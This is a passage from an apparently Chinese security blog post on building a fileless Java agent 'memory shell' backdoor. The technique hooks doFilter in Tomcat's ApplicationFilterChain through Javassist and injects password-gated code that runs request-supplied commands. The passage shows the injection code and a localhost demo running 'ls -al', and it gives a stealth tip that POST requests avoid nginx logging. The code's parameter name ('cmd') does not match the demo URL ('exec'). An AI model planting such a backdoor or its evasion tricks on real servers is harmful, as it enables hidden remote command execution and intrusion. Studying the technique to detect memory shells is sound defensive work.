code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">internalDoFilter</span><span class="code-snippet__params">(ServletRequest request,</span></span></span></code><code><span class="code-snippet_outer">                                  ServletResponse response)</span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">        <span class="code-snippet__keyword">throws</span> IOException, ServletException </span>{</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// Call the next filter if there is one</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (pos &lt; n) {</span></code><code><span class="code-snippet_outer">            ......</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">这两个个方法拥有<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">Request</code>和<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">Response</code>参数。如果能重写其中一个，那就能控制所有的请求和响应！因此，用来作为内存马的入口点简直完美。这里我选择<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;">doFilter()</code>方法，具体原因会在之后提到。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><section data-tools="135编辑器" data-id="97529" data-color="#feecaf"><section style="margin:10px auto;"><section style="display: flex;justify-content: center;align-items: center;text-align: left;"><section style="box-sizing:border-box;width:40px;margin-right:-20px;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: 6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: 16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section><section style="display:inline-block;margin-top:6px;"><section style="border-width: 2px;border-style: dashed;border-color: rgb(254, 236, 175);background-color: rgb(254, 254, 254);padding: 6px 2em;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 16px;text-align: center;color: rgb(51, 51, 51);"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">Java agent修改doFilter</span></strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></section></section><section style="box-sizing: border-box;width: 80%;height: 6px;margin-right: auto;margin-left: auto;background-color: rgb(254, 236, 175);border-bottom-left-radius: 20px;border-bottom-right-radius: 20px;color: rgb(172, 133, 2);overflow: hidden;" data-width="80%"><br/></section></section><section style="box-sizing:border-box;width:40px;transform: rotate(0deg);transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: -6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: -16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section></section></section></section><section data-role="paragraph"><p><br/></p></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">只需要对上面的示例代码做一些变动即可。</span></p><p style="text-align:left;box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">1.指定需要修改的类名和方法名：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__built_in">String</span> editClassName = <span class="code-snippet__string">&#34;org.apache.catalina.core.ApplicationFilterChain&#34;</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__built_in">String</span> editClassName2 = editClassName.replace(<span class="code-snippet__string">&#39;.&#39;</span>, <span class="code-snippet__string">&#39;/&#39;</span>);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__built_in">String</span> editMethod = <span class="code-snippet__string">&#34;doFilter&#34;</span>;</span></code></pre></section><p><br/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin-right: 10px;text-indent: -20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">2.</span><span style="text-indent: -20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">为了不破坏程序原本的功能，这里不再使用</span><code style="text-indent: -20px;box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">setBody()</span></code><span style="text-indent: -20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">方法，而是采用</span><code style="text-indent: -20px;box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">insertBefore()</span></code><span style="text-indent: -20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">method.insertBefore(<span class="code-snippet__built_in">source</span>);</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin-right: 10px;text-indent: -20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">3.</span><span style="text-indent: -20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">出于方便考虑，实现一个</span><code style="text-indent: -20px;box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">readSource()</span></code><span style="text-indent: -20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">方法，从文件中读取数据。：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">String</span> source = <span class="code-snippet__keyword">this</span>.readSource(<span class="code-snippet__string">&#34;start.txt&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">String</span> readSource(<span class="code-snippet__built_in">String</span> name) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> result = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// result = name文件的内容</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> result;</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin-right: 10px;text-indent: -20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">4.</span><span style="text-indent: -20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">在</span><code style="text-indent: -20px;box-sizing: border-box;padding: 3px 5px;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">start.txt</span></code><span style="text-indent: -20px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">中，写入恶意代码：</span><br/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;color: rgb(63, 63, 63);font-size: 16px;text-indent: -20px;line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">    javax.servlet.http.HttpServletRequest request = $<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">  javax.servlet.http.HttpServletResponse response = $<span class="code-snippet__number">2</span>;</span></code><code><span class="code-snippet_outer">  request.setCharacterEncoding(<span class="code-snippet__string">&#34;UTF-8&#34;</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">String</span> result = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">String</span> password = request.getParameter(<span class="code-snippet__string">&#34;password&#34;</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (password != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// change the password here</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (password.equals(<span class="code-snippet__string">&#34;xxxxxx&#34;</span>)) { </span></code><code><span class="code-snippet_outer">            <span class="code-snippet__built_in">String</span> cmd = request.getParameter(<span class="code-snippet__string">&#34;cmd&#34;</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (cmd != <span class="code-snippet__literal">null</span> &amp;&amp; cmd.length() &gt; <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__comment">// 执行命令，获取回显</span></span></code><code><span class="code-snippet_outer">          }</span></code><code><span class="code-snippet_outer">            response.getWriter().write(result);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><section data-tools="135编辑器" data-id="97529" data-color="#feecaf"><section style="margin:10px auto;"><section style="display:flex;justify-content: center;align-items: center;"><section style="box-sizing:border-box;width:40px;margin-right:-20px;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: 6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: 16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section><section style="display:inline-block;margin-top:6px;"><section style="border-width: 2px;border-style: dashed;border-color: rgb(254, 236, 175);background-color: rgb(254, 254, 254);padding: 6px 2em;box-sizing: border-box;"><section data-brushtype="text" style="font-size: 16px;text-align: center;color: rgb(51, 51, 51);"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">注入示例</span></strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"></span></section></section><section style="box-sizing: border-box;width: 80%;height: 6px;margin-right: auto;margin-left: auto;background-color: rgb(254, 236, 175);border-bottom-left-radius: 20px;border-bottom-right-radius: 20px;color: rgb(172, 133, 2);overflow: hidden;" data-width="80%"><br/></section></section><section style="box-sizing:border-box;width:40px;transform: rotate(0deg);transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-ms-transform: rotate(0deg);-o-transform: rotate(0deg);"><section style="box-sizing:border-box;width:40px;"><section data-bgless="spin" data-bglessp="30" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(233, 254, 175);margin-left: -6px;color: rgb(128, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="50" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(207, 254, 175);margin-top: 3px;margin-bottom: 3px;margin-left: -16px;color: rgb(71, 174, 0);overflow: hidden;"><br/></section><section data-bgless="spin" data-bglessp="70" style="box-sizing: border-box;width: 25px;height: 5px;border-radius: 20px;background-color: rgb(180, 254, 175);color: rgb(11, 174, 0);overflow: hidden;"><br/></section></section></section></section></section></section><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><br/></p><p><span style="color: rgb(63, 63, 63);font-size: 16px;text-align: left;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">注入之前，访问</span><code style="box-sizing: border-box;padding: 3px 5px;text-align: left;color: rgb(172, 133, 2);line-height: 1.5;font-size: 14.4px;background: rgb(254, 236, 175);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><a href="http://127.0.0.1:8080/" target="_blank">http://127.0.0.1:8080/</a></span></code><span style="color: rgb(63, 63, 63);font-size: 16px;text-align: left;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">：</span></p><p><span style="color: rgb(63, 63, 63);font-size: 16px;text-align: left;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><img data-backh="229" data-backw="542" data-ratio="0.42226148409893993" style="box-sizing: border-box;width: 100%;height: auto;" data-type="png" data-w="1132" src="https://wechat2rss.xlab.app/img-proxy/?k=2e6f58d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgedtfWsq03baph8XGTHZszkQP4cJOBbRsMEkkib2xkwICCjvN4BQ6DLg%2F640%3Fwx_fmt%3Dpng"/></span></p><p><span style="color: rgb(63, 63, 63);font-size: 16px;text-align: left;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">注入Java agent：</span></p><p style="text-align:left;color: rgb(63, 63, 63);font-size: 16px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;display: inline !important;"><img data-backh="99" data-backw="542" data-ratio="0.1824623560673162" style="box-sizing: border-box;width: 100%;height: auto;" data-type="png" data-w="1129" src="https://wechat2rss.xlab.app/img-proxy/?k=cfcc4eb9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgjHKictlbZ2QF6K1OrH4KV92YoqmeOHpYxicModDR9ERxibtia1VmqBN1gA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><span style="caret-color: red;color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">注入后，访问</span><code style="caret-color: red;padding: 3px 5px;color: rgb(255, 53, 2);line-height: 1.5;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><a href="http://127.0.0.1:8080/?password=xxx&amp;exec=ls" target="_blank">http://127.0.0.1:8080/?password=xxx&amp;exec=ls</a> -al</span></code><span style="caret-color: red;color: rgb(63, 63, 63);font-size: 16px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">：<br/></span></p><p style="text-align:left;"><img data-backh="344" data-backw="542" data-ratio="0.6355555555555555" style="box-sizing: border-box;width: 100%;height: auto;" data-type="png" data-w="675" src="https://wechat2rss.xlab.app/img-proxy/?k=b01eece3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgD99RF7orWZhk7sQLWHKm3zMIwNo7t2G6fqHQKl7qMYrgptC0nhSMqA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">可以看到已经成功的执行了webshell。</span></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">当注入内存shell之后，http的请求流程如下（简化版）：</span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.8488372093023255" data-s="300,640" style="" data-type="png" data-w="774" src="https://wechat2rss.xlab.app/img-proxy/?k=2cbbe93a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXlddqF1MKBSuEjUmG7IINppAgdr1oOEMUBG9axBdPRNtnvNvLR2CQVPshhdKmSM77oHjZn3iciaJibHFzg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;box-sizing: border-box;margin: 10px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">到这儿，一个简单的Java agent 内存马就制作完成。</span><br/></p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-size: 19.2px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;">注意事项</span></h3><p style="text-align:left;box-sizing: border-box;margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><span style="color: red;">1.由于某些中间件（例如nginx）只记录GET请求，使用POST方式发送数据会更加隐蔽。</span></span><span style="box-sizing: border-box;margin: 10px;line-height: 1.5;text-indent: -20px;display: block;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Apple Color Emoji&#34;, &#34;Emoji Symbols Font&#34;, &#34;Segoe UI Symbol&#34;, Arial, sans-serif;"><span style="color: 